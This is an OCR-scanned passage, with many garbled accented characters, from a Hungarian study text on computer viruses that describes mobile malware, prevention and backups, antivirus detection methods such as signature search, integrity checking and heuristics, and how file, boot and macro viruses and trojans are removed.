kell inditania azt, mivel az ,,0tletgazddknak™ egyel0re nem sikeriilt megoldaniuk az
automatikus futtatast. Ha a jovében ezt sikeriil valamikor kikisérletezniiik, a mobil
fertozések jellege nagyon gyorsan megvaltozhat, és a megel6zésre terelddik majd a
hangsuly.

» A telefon vagy PDA védtelen kell, hogy legyen, hiszen a nemrég megjelent
mobilkértevok elleni antivirus programok igen jo védelmet nytjtanak az ismert, s6t a
még ismeretlen fertdzések ellen is. Egyre tobb mobilszolgéltatd kindl mar ilyen
elofizetést.

Habar a PC-ket fert6z0 kartevok szdzezres szdmédhoz képest semmiségnek tlinhet a
kozel 100 mobilvirus, mely kozkézen forog, illetve jobb esetben csak viruslaborokban
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talalhatd, jelenleg senki sem lathatja eldre, mit hoz a jové. Hazdnkban 90 szdzalék koriili a
mobil-penetricid, és az Eurdpai Unid tobb orszdgdban mar minden egyes lakosra jut legalabb
egy késziilék. Ezek kozott jelenleg még relativ alacsony a virusok célpontjanak szamitéd
okostelefonok szama, azonban ez az ardny a jovOben csak novekedhet — ezért fontos, hogy
kellden felkésziiltek legyenek a felhaszndldk, hiszen még szdmos, eddig kiakndzatlan
lehetdség rejlik a mobil vildgdban, és a kartevok kora csak most fog bekdszonteni.

6. Virusok elleni védekezés

6.1. Megelbzés

Altaldnos érvényli az az aranyigazsig, hogy jobb a megelézés, mint a kdrok utélagos
kijavitasa, fOként, mivel lehetnek visszafordithatatlan kovetkezményei is egy-egy virus okozta
tdmaddsnak. Napjaink egyik aktudlis kérdése a siirli hullimokban tdmadé levelezOprogram-
férgek és virusok elleni védekezés. Sajnos a hdlézat nem képes védelmet nydjtani a hackerek
és programférgek ellen, hiszen annak eldontése, hogy mi a kiillonbség egy legitim alkalmazas
és egy virus kozott, egy ember szdmdra is nehéz, nemhogy egy programnak! Eppen ezért
nagyon fontos a megfeleld jelszavak kivdlasztasa. Ha tilsdgosan egyszerti, konnyen
kitaldlhat6 jelszavakat haszndlunk, akkor konnyen be lehet hatolni a rendszerbe. A j6 jelszé
legaldbb hat karakterbdl &all és nem taldlhaté meg egy szétarban sem. Vannak olyan
weboldalak, ahol segitségiinkre sietnek, és egy jelszdgenerdtor haszndlatival megfeleld
jelszavakat valaszthatunk magunknak. Soha de soha ne aruljuk el mésoknak jelszavainkat,
vagy irjuk le és tegyiik konnyen megtalalhat6 helyre.

De ami még ennél is fontosabb, hogy igazdn jol védekezni csak egy specidlisan
virusok megkeresésére €s irtdsara szolgald szoftverrel lehet, s ez is csak akkor hatdsos és jol
miik6do, ha adatbazisat naprdl napra frissitjiik.

Novelheti biztonsagérzetiinket az is, ha backupokat hozunk létre. Azonban biztonsagi
mentések készitése maga sem meggitolni, sem megeldzni nem képes az adatok sériilését, am
eszkozei révén lehetOséget nyujt a kartételek csokkentésére, a mentett adatok tobbé-kevésbé
naprakész dllapotba vald helyredllitdsara. A jOl szervezett rendszerben készitett biztonsigi
mentések nem csupdn a beépitett adathordozo sériilése vagy virusfertdzések miatti adatvesztés
esetén adnak lehetdséget az adatok, programok, bedllitdsok helyredllitisara, hanem
programhiba, emberi hiba vagy barmi mas probléma esetén is médot adnak valamely el6z6
adatallapot veszteségmentes visszadllitdsara.

Tobbféle technika 1étezik biztonsagi mentések készitésére. A full, azaz teljes backup a
mentendd hattértarak teljes tartalmat kiirja a backup médidra, a differencidlis mentés pedig az
utolso (teljes) mentés 6ta megvaltozott fajlokat é€s konyvtarakat helyezi el a backup médian.

A biztonsdgi mésolatok rendszerének kialakitdsakor tobb szempontot is figyelembe
kell venniink. Fontos, hogy a rendszer automatizalhat6 legyen, olyan idészakra kell iddziteni,
amikor az adatokat nem médositjak. Ugy kell megtervezni a méretezést, hogy az alkalmazott
adathordozo évekig elegendd legyen a mentések taroldsara, valamint az adathordozé média
évekig biztonsagosan és megbizhatéan tdrolja a rajta rogzitett anyagokat.
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6.2. Folyamatos ellenérzés

Miar a DOS ald is készitettek folyamatos virusellendrzést biztositd, tugynevezett
memoriarezidens virusvédelmeket. Ezek elég minimdlis hatékonysdggal ismerték fel és
blokkoltdk a virusokat, hiszen kompromisszumot kellett kotni: ha igazdn hatékony és
megbizhat6é védelmet akarunk megvaldsitani, akkor cserébe fel kell dldozni a sebességet €s az
er6forrasokat. Ha pedig dolgozni is akarunk a gépen, akkor nem lehet az Osszes eréforrast
atadni a virusellen6r programoknak. A 32 bites operdaciés rendszerek mar megfeleld
eroforrassal rendelkeztek ahhoz, hogy igazdn hatékony virusvédelem alakuljon ki, a
folyamatos elérhetd kozelségbe keriilt. Ez azt jelenti, hogy a rendszer minden megnyitott
allomanyon és lemezen teljes értékli virusellendrzést végez, természetesen a processzor €s az
er6forrasok jelentOs leterhelésével.

A mai modern virusellenér programok szdmos technoldgiat alkalmaznak a
rosszindulati programok nyakon csipésére. A hagyomdnyos sztring-keresésen tdl egyre
nagyobb szerepe van a heurisztikus mddszerek alkalmazdsidnak, amikor akar ismeretlen
programkartevok is detektalhatok, ha csak virusokra jellemzd miveleteket végeznek. Ez a
moddszer rendkiviil hatékony lehet, és sokkal kevésbé igényli a gyakori program- és adatbazis
frissitéseket, mint a klasszikus viruskeres6 médszerek.

6.3. Antivirus- és adathelyreallito szoftverek

Az antivirus szoftverek virusazonosité adatbazisaik, valamint heurisztikus és egyéb
modszereik segitségével ismerik fel az adathordozokon vagy a kiilonféle elektronikus
adatatviteli csatorndkon keresztiil érkezd rosszindulatd programokat. A felismert fert6zéseket
mindenképpen blokkolni kell. A kérdés az, hogy hol, milyen szinten végeztetjilk az
ellendrzést. Ahol korlatozottak a szamitégépek erdforrdsai és csekély a fertézések kockazata,
ott nem feltétleniil eldnyds memoriarezidens vagy a héttérben allandéan futd, igynevezett On
access keresOket alkalmazni. Ilyen esetekben azokra a helyekre koncentrdlni, amelyek az
ismert €s elképzelhetd tdmadaspontok. Ilyenek a floppyk és CD lemezek, a levelezés és az
internetrél vald féjlletoltés ellendrzése, tehat elegendd az alkalmilag futtatandd, az
er6forrasokat automatikusan felszabadité Ad hoc keresoket telepiteniink és haszndlnunk.

Az On access keresok kozé soroljuk azokat a virusellenér programokat, amelyek a
szamit6égép inditdsa utdn betoltddnek a gép memoridgjaba €és a konfigurdlaskor beallitott
paraméterekkel végzik a virusellendrzést. Az elinditott programok ellendrzésekor nem csupan
azonositd sztringeken alapul6 ellendrzéseket végeznek, de tobbnyire az elinditott programok
viselkedését is elemzik. Az ilyen programok haszndlatakor sok e-mail-ben, a szovegtorzsben
vagy mellékletként érkezd virus gyorsan ,Jlebukik”, amikor elinditja szaporité vagy pusztito,
rombold rutinjait.

Az Ad hoc keresok a legrégebbi, maig is igen hasznos, széles korben alkalmazott
viruskeresé modszereket képviselik. Bar az ellendrzések inditdsa felhasznalok kezében van, s
igy a folyamatos és automatikus ellendrzés hidnydban novelhetik a megfert6zddés
val6szintiségét, haszndlatuk mégis indokolt és célszerli. Tagadhatatlan eldnyiik, hogy sokkal
kisebb az eroforrdasigényiik, igy akar kioregedett, egyéb irodai munkdkra mar nemigen
alkalmazhat6 szamit6gépekbdl is ki lehet alakitani virusellenérzé munkadllomdsokat.

Barmelyik rendszert is vélasztjuk, fontos az antivirus szoftverek adatbdzisanak napi
frissitése. A virusmentesités utidn azonban van még egy feladat, amelyr6l sokan
elfeledkeznek, mégpedig a sériilt adatok helyredllitasa. Kétféle modszert alkalmazhatunk: a
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backup és az adatjavité (példaul Tiramisu) programokat. Az eldbbiek a kordbban készitett
biztonsdgi mésolatok segitségével csokkenthetik az adatvesztés mértékét, az utdbbiak magin
a sériilt adathordozén probédljadk meg a sériilt dllomdnyok és konyvtarak eredeti
adattartalmanak visszaallitasat.

6.3.1. A virusmentesités és az adat-helyreallitas eszkozei, lehetdségei, korlatai

Virusfertdzés észlelése vagy gyanuija esetén az a legfontosabb, hogy ne essiink
panikba. A szamitdgép azonnali kikapcsoldsa nem feltétleniil jelent j6 megoldast, mert a nem
szabdlyos programlezdrds konnyen adatvesztéshez, és az éppen haszndlatban 1€év0
adathordozé sériiléséhez vezethet.

Els¢ feladatunk virusfertdzés esetén vagy erre utald jelek észlelésekor, hogy megfeleld
viruskeresd programok segitségével azonositsuk a fertdzés tipusat, a fert6zés kiterjedtségét, az
érintett f4jlokat €s konyvtdrakat. Bar ma mdr alig hizhaté meg a hatar a viruskeresd és
eltavolitd programok kozott, hisz az antivirus programok tobbségét mindkét feladatra
felkészitették, mégis kiilon lehet és kell valasztani a viruskeresd €s a viruseltavolitd
programokat.

Nem lehet mindenrdl folyamatosan napra, percre kész biztonsdgi mdsolatokat
késziteni. Néha sajnos el6fordul az az eset, hogy megsériilnek, vagy akér el is vesznek
dokumentumaink, programjaink egy része. Ezek védelmét, sziikség esetén részleges vagy
teljes visszadllitasat szolgdlo rendszerek az adatjavito, adat-helyreéllité programok.

A virusmentesités, adat-helyredllitds szdmos okbdl lehet sikertelen, illetve vezethet
pusztin fél sikerre. A helyredllito, javité programok sem mindenhatéak, mindegyiknek
vannak a hiba természetébdl, a fajlrendszerbdl és egyéb okokbdl adédo ismert korlatai.

A DOS-os vilagban még a PCTools vagy a Norton Disk Doctor segitségével javitottuk
a megsériilt adathordoz6 lemezeket. Ezek 32 bites utddai ma is rendelkezésiinkre allnak, igy
ma is lehetséges adat-helyreéllitas sériilt floppykrol és merevlemezekrol.

Helyreallitani természetesen csak azt lehet, ami nem veszett el teljesen. Ha egy virus
feliilirta sajat kodjaval vagy mas modon a megfertdzott programfajl forrdskodjat, vagy annak
egy részét, akkor az csak ugy javithatd, hogy egy még virusmentes biztonsagi masolatbol
vagy az eredeti programtelepitd csomagbdl madsoljuk vissza az eredeti programot.
Amennyiben erre nincs lehetdségiink, akkor mar csak a viruseltdvolitdé programjainkban
bizhatunk.

A virusok kozott nem szokatlan, hogy egy-egy kartevonek tobb tucatnyi vagy akéar
tobb szdz atirata, vdltozata legyen, amelyek csak néhdny bdjtban kiilonboznek. A
viruseltavolité programoknak a korrekt viruseltdvolitishoz és helyredllitdishoz hibatlan
virusismeretre van sziikségilk. Ha csak egy-két bdjtnyit téved a virusirté program, a
viruseltavolitds eredménye egy elrontott és nem, vagy hibdsan miik6do, bar virusmentes
program lesz.

6.3.2. Az antivirus szoftverek adatbazisainak frissitése
Az antivirus szoftverek koziil csak olyat szabad valasztani és hasznélni, amelynek
megbizhatésdgdban és tdmogatottsigdban nem kételkediink. Ezt a megbizhatésidgot

kérddjelezheti meg, ha nem jelennek meg id6ben a frissitd csomagok vagy azokba tobbszor is
hiba kertil.
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1991-ben tortént meg az eset, hogy olyan McAfee VirusScan programok is keringtek,
amelyekbe Dir2/FAT virust csempésztek be. Azoéta is a viruskészitok eldszeretettel célozzak
meg az antivirus programokat. Az eset komoly tanulsiggal szolgdlt mindannyiunk szdmaéra,
beleértve a felhaszndlokat, a rendszergazdakat és a fejlesztOket is. Manapsdg mar minden
viruskeres6 komoly memoriaellendrz6 és oOnellendrzd rutinokat futtat le, mieldtt a gép
hattértdrait ellendrizné. Emellett a fejlesztOk ingyenesen letolthetové tették a programjaikhoz
tartoz6 adatbdzis- és néha a keresdmotor-frissitéseket is.

A virusinformdciés adatbazisok frissitéséhez — ha rovid idore is — le kell allitani a
hattérben futé ellendrzést. Ez szerencsére a felhasznaldk tobbsége szdmdra észrevétlen marad,
mivel dltaldban a gép induldsakor, a virusellendr program betoltésekor zajlik le. A megfeleld
frissitd csomagokat le lehet tolteni a fejleszté FTP vagy weboldalarél, a hazai szakképviselet
FTP vagy weblapjair6l vagy megbizhat6 és altaldban naprakész internetes
programgytjteményekbdl.

Amennyiben kétségeink lennének azzal kapcsolatban, hogy vajon valéban
virusfertdzott-e a rendszeriink, sok fejleszté cég olyan lehetdséget is kindl, hogy gyands
mintdinkat eljuttathatjuk, s vdalaszként megtudjuk, valéban virus-e, s miféle, s hogyan
tavolithato el, ha lehet, fijdalommentesen.

6.4. Viruskeres6 programok

Az antivirus programok kozos feladata, hogy virusmentes kdrnyezetet biztositsanak a
védett rendszereken a napi feladatok ellatasandl. Ennek eléréséhez két ut vezet. Az egyik arra
koncentrdl, hogy a fert6zott vagy virusgyants programokat blokkolja, gétolja miikodésiiket,
vezérléshez jutdsukat, igy meggitolva a fert6zés tovabbterjedését és a pusztitdé rutinok
lefutasiat, am nem foglalkozik az eltavolitdsukkal, a rendszer, az adatok és a programok
helyredllitasaval. Ilyen védelmet biztositanak egyes szoftveres megolddsok és az olyan
hardveres antivirus megoldasok, mint az alaplapi BIOS-ba integrélt virusellenor rendszerek
(példaul: Chipaway) és a Magyarorszagon kifejlesztett TopGuard (virusvédelmi) kartya.

A virusmentes kornyezet biztositdsdnak mdsik, 4ltaldnosabban elfogadott és
alkalmazott utja, hogy az azonositott virusfertézést nem csupan blokkolja, hanem el is
tdvolitja az alkalmazott antivirus program. Ezzel részletesebben a kovetkezd fejezetben
foglalkoztam.

Fontos szempontok a j6 virusvédelem kialakitasakor:

megbizhat6 szakmai tdmogatd hattér alljon mogotte;

virusismerete naprakész legyen;

létezzen magyar nyelvll verzidja, Magyarorszagon is hozzaférhetd timogatd szakértoi
csapata;

rendszeresen frissitsék, €és ezek a csomagok az interneten keresztiil barmikor
ingyenesen letolthetéek legyenek;

legyen kompatibilis méds programokkal, az operacids rendszerrel;

J61 menedzselhetd, atlathato legyen.

A shareware és freeware programként is beszerezhetd antivirus programcsomagok
jelentds része a viruskereso programok kozé tartozik. Sok programndl a fejlesztOk kifejezetten
kettévalasztottdk a virusfelismerd €s azonositd funkcidkat és a viruseltdvolitds még ennél is
bonyolultabb feladatait. A shareware programokndl amugy is jellemz6 funkcidkorlatozas igy
az antivirus programok esetén sokszor ugy jelentkezik, hogy az ingyenes vagy prébavaltozat
csak azonosit, vagy csak egy sziikebb korti (néhdny tucat vagy néhdny szdz agressziv és

YV VYV VYVYV
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aktudlis virusra kiterjedd) virusmentesitést képes végezni. A felhaszndlok szamadra részben
karitativ céllal, részint marketing és adatgyiijtési jelleggel szdmos fejlesztd cég online
ellendrzési, virusminta feltoltési lehetdséget is kinal.

6.4.1. Szekvenciakeresés

Ez a médszer alakult ki elséként, és az els6 dltalanos viruskeresok is kizardlag ezen a
keresési algoritmuson alapultak.

A szekvenciakeresés 1€nyege, hogy a program a virusra jellemzd mintdt, szignatirajat
keresi a fajl bizonyos pontjain. Ha szerepel benne a keresett virusra jellemz6 bdjtsorozat,
akkor az adott dllomany fert6zott.

Ha a megbizhaté azonositast tlizziik ki célul, akkor vildgos, hogy a szekvencidnak
minél hosszabbnak kell lenni. A probléma ezzel a médszerrel, hogy minden virusnak egyedi
kodja, ezéltal egyedi szekvencidja van, és ez igencsak lelassitand a keresést a mai tobb tizezer
virus esetében.

Ezért probaltak egyszerlsiteni a virusirté cégek, hogy nem az egész viruskddot, csak
annak egy részletét valasztottdk ki, igy viszont fenndllt annak a veszélye, hogy ha két
virusnak is ugyanaz a kivalasztott szekvencidja, akkor a virusirtd a virust tévesen ismerheti
fel, rdadédsul ez a modszer sem gyorsithatja fel kellOképpen a keresést. A szekvencia részlet
kivalasztasandl tigyelni kell arra, hogy még elég hosszu és jellegzetes legyen a megbizhat6
felismeréshez, ne okozzon vakriad6t Ez csak a virusok azon csoportjandl lehet hasznos,
amelyek nem valtoztatjdk Onmagukat. Nyilvdnvald, hogy a polimorf virusok esetében
hasznalhatatlan, €s ahhoz hogy a kédot megtaldljuk, dekddoldsra is sziikség van. Hasonldan a
lopakod6 virusok felismerésénél sem hatdsos mivel a virus kdédja nem egy helyen taldlhaté
meg az dllomanyban. Természetesen azért van megoldés ezekre a problémakra is.

A lopakod¢6 virusok ellen két védekezési mddszer is ismert, a viruskeresdk édltalaban
mindkettdt haszndljdk. Az els6 igen egyszert, a viruskeres6 megvizsgalja a memoriat, €s ha
lopakod6 virust taldl benne, akkor kéri a felhasznalét, hogy egy virusmentes inditélemezrol
inditsa el a gépet. A legtobb virusirtd telepitéskor felkindlja a Rescue Disk készitését, ilyen
esetekben ennek a lemeznek a segitségével indithatjuk el a gépet. A masik megoldas, hogy az
allomany és a szektortartalom kétféle beolvasdasra keriil, az eredményeket 6sszehasonlitja a
virusold, és ha nem egyezik, akkor megvan a btinos. El6szor hagyoményos dton nézi meg, s
ha a memoridban virus van, akkor ezt a beolvasast a virus meghamisitja. Ezutdn megnézi az
allomany tartalmat Ggy is, hogy a virus ne tudja kicselezni.

A polimorf virusok felismerésének megbizhatésdga nagyon fontos, eléfordul, hogy
egy adott viruskeresé adott példanyokat megtaldl beldliik, adott példanyokat nem, valamint a
keresés gyakran jir egyiitt hamis pozitivok jelentésével. Alapvetden itt is két technikat
alkalmazhatunk ezekre a kartevokre. Az els6 modszerrel a dekddert keressiik a virusban,
ebben az esetben viszont a keres6algoritmusunknak nagyon pontosnak kell lennie, és fel kell
késziilnie minden sz6ba johetd dekddoldsi algoritmusra. A visszakddoldashoz elemezni kell a
virus utasitdsait, majd ha megvan a technika, akkor a virust magéat pontosan kell dekédolnom.
Misik modszer, hogy a kddolt részt keressiik. Ez akkor hatdsos, ha a virus csak egyetlen
kodolasi technikdval van kddolva, ellenkezd esetben a viruskeresés nagymértékben lelassul.
Ha a dekodoléssal visszakapjuk a virus kédjat, nyert tigyiink van.
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6.4.2. Integritasellenérzés, Bloodhound technika

Az integritasellendrzés lényege az d4llomanyokban bekovetkezett valtozdsok
érzékelése. Ez tobbek kozott a virusok elleni védekezés egyik eszkoze is lehet.

Ahhoz hogy az integritds ellendrzése miikodjon, az ellenérzd programnak meg kell
vizsgdlnia az dllomédnyokat, amelyrdl egy adatbazist készit, s késobb az dllomanyokat ebben
az adatbazisban taldlhaté bejegyzésekkel hasonlitja Ossze. Az adatbdzisban 4dltaldban az
allomanyok hosszdnak bejegyzése taldlhatd. Amennyiben az ellendrzéskor a program eltérést
tapasztal, jelzi a felhaszndlé felé. Természetesen vannak bizonyos allomanyok, melyek
tartalma folyamatosan véltozhat (pl. dokumentumok, adatbdzis-dlloméanyok stb.), melyeket
éppen ezért nem célszerli az ellendrzésbe bevonni, viszont igy ha azok megfertdzddnek, a
fertdzés ellen ezzel a médszerrel nem tudunk védekezni.

Ez az elkészitett adatbazis éltaldban egy allomdny formdjaban minden konyvtarban
megtaldlhat6, de vannak olyan integritasellenérzok is, melyek az adatokat egy kozponti
helyen taldlhaté adatbédzisban taroljak. Mivel ezek az ellen6rz6 adatbazisok 4altaldban jol
meghatdrozhaté néven szerepelnek a konyvtarakban, sok virus ki is haszndlja, és az ellen6rzo
Osszegeket atirja benniik, hogy tovabbra is észrevehetetlenek maradjanak.

6.4.3. Virusaktivitas figyelése

Tobb virusvédelmi rendszernek van olyan rezidens modulja, mely folyamatosan
figyeli az éppen haszndlatban 1év0 allomanyokat, és figyelmeztet, ha valamilyen virust
érzékel. Modern virusirtokndl ez nem sorolhaté az aktivitds figyeléséhez, hiszen ez a rész
(realtime protection) mar a virus aktivizalodasa eldtt is képes figyelmeztetni, feltéve, hogy
ismeri a szoban forgd virust. A DOS-os idOkben viszont a rezidens rész valdban csak az
éppen aktivizal6do virusokat volt képes figyelni és jelezni a felhasznalonak.

A fertéz€s jele (bar nem egyértelmiien) az lehet, ha egy futtathaté program elejét
valami feliilija, és a végét megtoldja. Ha egy futtathaté programot &atneveznek maés
kiterjesztésilire, az is gyanus, mert lehet, hogy éppen az eldbbi ellendrzést akarjak megkeriilni.
Az elvart miikodés az, hogy a program egy ablakban Kkiirja, hogy mi tortént, és megkérdi,
hogy mi torténjen.

Aktivitasfigyelés targykorébe sorolhatdé példaul a BIOS-okba beépitett boot-szektor
valtozasat figyeld kis modul is, mely a bootvirusok ellen nyujthat védelmet. Ha a master boot
rekordba, vagy valamelyik particié boot szektordba ir egy program, akkor egy kis ablak jon
eld, melyben a BIOS megkérdezi, hogy engedélyezziik-e az irast. Sokszor hamis riasztast is
ad, példaul operacids rendszer installdlasakor, ilyenkor célszerli &tmenetileg kikapcsolni.

6.4.4. Script-Blocking

Ez a mdédszer a weboldalak JavaScript és VisualBasic scriptjeit vizsgalja
virusmentesség szempontjabdl. A kartékony script észlelés az interneten keresztiil terjedd
kartevok novekvo hasznalata ellen 1€p fel, kiillondsen azok ellen, amelyek a sériilékeny kliens
bongészOkon keresztiil jutnak be a rendszerekbe. Ez az 1j funkcionalitds képes észlelni és
blokkolni a kédrtékony script-eket, megakaddlyozza a szamitogépek megfert6zodését és ezaltal
megszlnteti az adatok hacker kézbe val6 jutdsdnak kockdazatat. Ezen tipusu virusok ellen
védekezhetiink gy, hogy nem is ismerjiikk a virus pontos kddjat, csupan a gépen elindulni
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késziild, vagy éppen a weboldalakban, illetve HTML alapti levelekben taldlhat6 scripteket kell
figyelni, és virusgyanus tevékenység esetén figyelmeztetni a felhaszndlot.

6.4.5. Heurisztikus viruskeresés

A legfejlettebb és legeredményesebb viruskeresési moddszer, mds megkozelitési
modszert alkalmaz, mint az eddigiek, a virusokat sokkal inkdbb az dltaldnos virusfunkciok,
illetve az ezekkel kapcsolatos rutinok, mint maga a konkrét virus kodjanak felismerésén
keresztiil prébalja ,,nyakon csipni”.

E mdédszer kidolgozdsat elsdsorban az tugynevezett mutdciés motorral felszerelt
polimorfikus virusok megjelenése tette sziikségessé, melyek esetében a klasszikus szignatudra-
keresés nem hogy ineffektiv, de gyakorlatilag nem is alkalmazhato.

Az ilyenfajta viruskeresOk a mesterséges intelligencia egy fajtijaval felvértezett
programok, melyek egy program utasitdsainak analizdldsan keresztiil képesek annak
miikddésére vonatkozdan kovetkeztetéseket levonni.

A moddszer a szekvenciakeresés szinte minden hatranyat kikiiszoboli: ,.intelligencidja”
révén védelmet nyujt(hat) ismeretlen virusokkal szemben is, nem szorul gyakori frissitésre és
a virusok szdmanak novekedésével Osszefliggésben csak minimdlis mértékben n6 a felismerd
program mérete.

A heurisztikus detektdldsi modszer — bar fantasztikus lehetOségek rejlenek benne —
napjainkban még meglehetdsen kezdetleges stddiumban van. A mddszer legnagyobb hatranya
a téves riasztdsok és téves negativok, azaz a tévesen fert0zottnek ill. tisztanak titulalt
programok rendkiviil magas szdma, amely a felhaszndldkat bizalmatlannd teszi a kereso
eredményeivel szemben is.

6.4.6. Kliens-szerver alapu virusvédelem

A helyi, lokdlis hdlézatok adminisztricidja — pldne ha tobb szdz vagy ezer gép
hal6zatba kapcsoldsardl van szé — a rendszergazdara igen nagy feladatot ro.

Hasonl6 a helyzet a virusirtd programokkal, hiszen dltaldban ahhoz, hogy egy gépet
ellendrizhessiink, hogy manualisan frissithessiik a virusadatbazisokat, a gép elott kell
tartézkodnunk.

Eppen ezért a kliens-szerver alapi védelem az informatika egyik elterjedt szervezési
moddszere, ahol a szolgdltatast mindig a szerver nyujtja a kliensnek. Ezt a koncepciét valdsitja
meg a Norton Antivirus Corporate Edition kiaddsa. A kliens-szerver alapu virusvédelem
lényege, hogy a virusvédelmi opcidkat, az adatfrissitést, a keresési metddusok bedllitasat csak
a szerver gépen taldlhat6 programmal és rendszergazdai jogosultsdggal lehet elvégezni, a
kliens oldalon a userek gépén csupdn egy egyszeriibb kiszolgdlé modul fut, melyben a
felhasznalok véltoztatasokat nem eszkozolhetnek. A virusadatbazis frissitése szerver oldalrél
elinditva egyszerre, az 6sszes gépen elvégezhetd, mint ahogyan egy viruskeresés végrehajtisa
is, az eredmények pedig Osszegylijtve, kiillonb6zd szempontok alapjan csoportositva a
szervergépen jelennek meg, mint ahogyan az egyes userek gépein megtaldlt virusok riasztasai
is befutnak a rendszergazda szamit6gépére.
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6.5. Virusok eltavolitasa

Bar ma mar alig hizhaté meg a hatdr a viruskeresés és -eltavolitds kozott, hisz az
antivirus programok tobbségét mindkét feladatra felkészitették, mégis kiilon lehet és kell
vdalasztani a viruskeresés és a viruseltavolitds részeket. Itt most a viruseltavolitast fejteném ki
jobban, hiszen a viruskeresést mar egy masik fejezetben emlitettem, mint a védelem egyik
legfontosabb részét.

A virusirté programok els6ként végrehajtanak egy igen alapos viruskeresést, ezdltal az
adott antivirus szoftver adatbdzisiaban szerepld virusokat, programférgeket, trdjai és egyéb
rosszindulati programokat egyértelmiien azonositania kell. Amennyiben ez a keresés talalattal
is jar, a fert6zott gépen a virusmentesités négy f6 modszerrel torténhet:

1. klasszikus viruseltavolitassal, amikor is a viruskodot sebészi pontossdggal kimetszik;

2. a fertézott f4jl(ok) dtnevezésével, amikor nem futtathat6, nem értelmezhetd
kiterjesztéseket kapnak a fajlok;

3. afert6zott fajl(ok) torlésével;

4. program- és/vagy adat-visszadllitds egy virusmentes biztonsdgi mésolatbdl vagy a gyéri
telepitokészletbdl.

A virusirté programok a fenti sorrendben probalkoznak a virusmentesitési technikdk
alkalmazdsdval. Ha az egyik mddszer nem alkalmazhat6, akkor attérnek a kovetkezore és igy
tovébb.

A viruseltavolitds nem minden esetben oldhaté meg adatvesztés vagy a fertdzott
programok sériilése nélkiil. Ha a virus a hordozé (gazda) f4jl megfertézésekor nem oldotta
meg az eredeti fajlallapot taroldsat, és példaul feliilirt egyes programkodot tartalmazo
teriileteket, akkor végleges megolddst csak az adott program ujratelepitésével vagy egy
virusmentes biztonsagi masolatbdl valé helyredllitassal kaphatunk.

» A Kklasszikus viruseltavolitds bdjtra pontosan azonositja a fert6zott fajlokon beliil a
viruskédot tartalmazé részlet(ek) elejét és végét, majd azt eltavolitja és visszadllitja az
eredeti vagy az eredetivel majdnem megegyez6 programadllapotot.

» Az atnevezés arra épit, hogy a DOS és a Windows rendszerek szamadra fontos a fajlok
kiterjesztése. Ha az .EXE Kkiterjesztést .VXE-re irja at az antivirus program, akkor az
atnevezett program mar nem fog futni. Ugyanez igaz a Word dokumentumok (.DOC-
bél .VOC, .DOT-bol .VOT) és Excel szamolotablak (.XLS-bol .VLS) esetén is.

» A fertézott fajlok torlése egy olyan megoldas, amely nem teszi ugyan mitkodoképessé
a fert6zott rendszert, de legaldbb a tovabbi pusztitdsnak, terjedésnek elejét veszi.

» Sokszor fordul eld, hogy a fertézé€s olyan sériilléseket okoz a program- és
adatfdjlokban, hogy csak ugy javithat6 a sériilés, ha az érintett f4jlokat feliilirjuk egy
kordbbi, még virusmentes &allapotban készitett biztonsagi mentésrél vagy a gydari
telepitd készletekbdl. Egyes esetekben specidlis adatjavitd, adat-helyredllito, adat-
visszadllitdé programok segitségével is élhetiink, de ezeket (példaul Tiramisu,
Undelete, Unformat segédprogramok stb.) nem elsdsorban a viruskdd eltdvolitdsara,
hanem a megrongélt program- és adatfdjlok kifoltozasara szoktuk haszndlni.

Az adat-helyredllitds nem mindig lehet sikeres, hiszen a visszaallitds megbizhatdsdga
jelentdsen fiigg a megfeleld biztonsdgi mentési stratégia alkalmazasatol.

Ha egy adott virus felismerése mar lehetséges, de irtdsa még nem, akkor a fert6zott
alloményt karanténba helyezhetjiik megakadalyozva a tovabbi terjedést, s igy lehetoség nyilik
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arra is, hogy ha esetleg megjelenik majd a virus irtdsdhoz sziikséges adatbazis, akkor a
fert6zott dllomanyokbdl kiirthassuk, s igy az dlloményok tjra hasznédlhat6ak legyenek.

Az aldbbiakban csoportositva mutatom be, melyik virusfajtdval mit tud tenni a
virusirtd program.

6.6. Fajlvirusok eltavolitasa

F4jlvirusok eltdvolitdsa csak abban az esetben lehetséges, ha a f4jl teljes tartalma
visszadllithat6 a fert6zés megtorténte elotti dllapotba. Erre csak akkor képes a program, ha a
virus kédja egyértelmiien lokalizdlhaté és torolhetd, illetve ha a virus miitkodése sordn a
fertdzott allomdnyokban nem torolt vagy modositott részeket tgy, hogy az nem
visszadllithatd. Amennyiben a fert6zott dlloméany nem allithaté vissza eredeti dllapotara, két
modszer lehetséges. Vagy toroljikk az dllomanyt, €s egy biztonsdgi mentésrol (amennyiben
rendelkeziink ilyennel) visszadllitjuk, vagy karanténba helyezziik, ami azt jelenti, hogy a
gépen ugyan megtaldlhatd, de semmi sem haszndlhatja.

6.7. Bootvirusok eltavolitasa

Szerencsés esetben a virus az eredeti szektort elmenti valahovd, igy ha tudjuk, hogy
hol keressiik, visszadllithatjuk az eredeti allapotot.

Ha a virus moédositja a szektort, de annak tartalma azért még visszadllithatd,
szerencsé€s helyzetben vagyunk. De az olyan virus ellen, amely a szektort teljesen sajt
koédjaval helyettesiti, csak ugy védekezhetiink, ha egy 4j szektort hozunk létre valamilyen
modszerrel.

6.8. Makrovirusok eltavolitasa

A makrévirusok eltdvolitdsa két modszerrel lehetséges. Ha tudjuk, hogy pontosan
milyen makrék azok, melyek a virust tartalmazzak, akkor kitorolhetjilk azokat, de vannak
olyan esetek, melyeknél erre nincs lehetdség. Ebben a helyzetben az a célravezetdé megoldas,
ha a makrok teljes teriiletét feliilirjuk.

6.9. Trojai programok, fergek eltavolitasa
A tréjai programok egyszerii dllomanyok, melyek konnyen megtaldlhatok és
torolhetok a merevlemezrél. A férgekhez szintén kapcsolodhatnak ilyen alloményok,

ezenkiviil mindkét esetben gondoskodni kell a nemkivdnatos registry bejegyzések
eltdvolitasarol, a fertdzott, illetve gyanus levelek torlésérol.
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7. Néhany ismert viruskeresod, és virusirté programrol
bévebben

Az éltalam felsorolt és roviden bemutatott programok mindegyike szinte hasonld
tulajdonsagokkal rendelkezik (resident shield, real time file protection, e-mail scan, webhely-
szlirés, tizfal, spamvédelem, kémprogramvédelem), csak taldn a program kereso- €s azonosito
motorjdban kiilonbéznek. Mindegyikiik tobb dijat elnyert és szdmos versenyen bizonyitotta,
hogy képes egy gépet megvédeni. Felsoroldsuk oka az, hogy a piacon a vezetd programok
kozé tartoznak.

7.1. Norton Antivirus

A Symantec fejlesztésében létrehozott NAV (Norton Antivirus) az egyik vezetd
viruskeresé és -irt6 program. Nagyon komplex, sok extra szolgaltatist magdban foglald
